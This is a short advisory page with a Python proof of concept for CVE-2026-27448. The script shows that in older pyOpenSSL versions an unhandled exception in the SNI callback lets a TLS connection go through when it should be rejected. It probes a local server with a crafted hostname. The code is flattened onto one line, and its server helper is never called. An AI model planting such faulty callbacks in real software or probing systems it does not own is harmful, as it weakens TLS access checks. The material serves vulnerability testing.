CVE-2026-27448: pyOpenSSL set_tlsext_servername_callback 异常处理安全漏洞

""" CVE-2026-27448 PoC - pyOpenSSL set_tlsext_servername_callback Unhandled Exception Bypass This PoC demonstrates how an unhandled exception in the SNI callback leads to connection acceptance instead of rejection in vulnerable versions. """ import ssl import socket from OpenSSL import SSL def vulnerable_sni_callback(conn, cert, err): """ Callback that raises an unhandled exception. In vulnerable versions (<26.0.0), this causes connection to be ACCEPTED. In fixed versions (>=26.0.0), this causes connection to be REJECTED. """ server_name = conn.get_servername() # Intentionally raise an unhandled exception if server_name == b"malicious.example.com": raise ValueError(f"Unexpected server name: {server_name}") return None def create_vulnerable_server(): """Create a server demonstrating the vulnerability.""" # Create context with a self-signed certificate context = SSL.Context(SSL.TLSv1_2_METHOD) context.use_certificate_file("server.crt") context.use_privatekey_file("server.key") # Set the vulnerable SNI callback context.set_tlsext_servername_callback(vulnerable_sni_callback) return context def exploit(): """ Exploit the vulnerability by triggering the unhandled exception. """ # Create client context client_context = ssl.create_default_context() client_context.check_hostname = False client_context.verify_mode = ssl.CERT_NONE try: # Connect to server with a malicious SNI hostname with socket.create_connection(("localhost", 8443)) as sock: with client_context.wrap_socket(sock, server_hostname="malicious.example.com") as ssock: # If we reach here, the vulnerability exists # Connection was accepted despite callback exception print("[!] VULNERABLE: Connection accepted despite unhandled exception!") print(f"[*] Established TLS connection with: {ssock.getpeercert()}") except ssl.SSLError as e: # Connection was properly rejected (fixed version) print(f"[+] FIXED: Connection rejected - {e}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": print("CVE-2026-27448 PoC") print("=" * 50) print("Testing pyOpenSSL SNI callback exception handling...") exploit()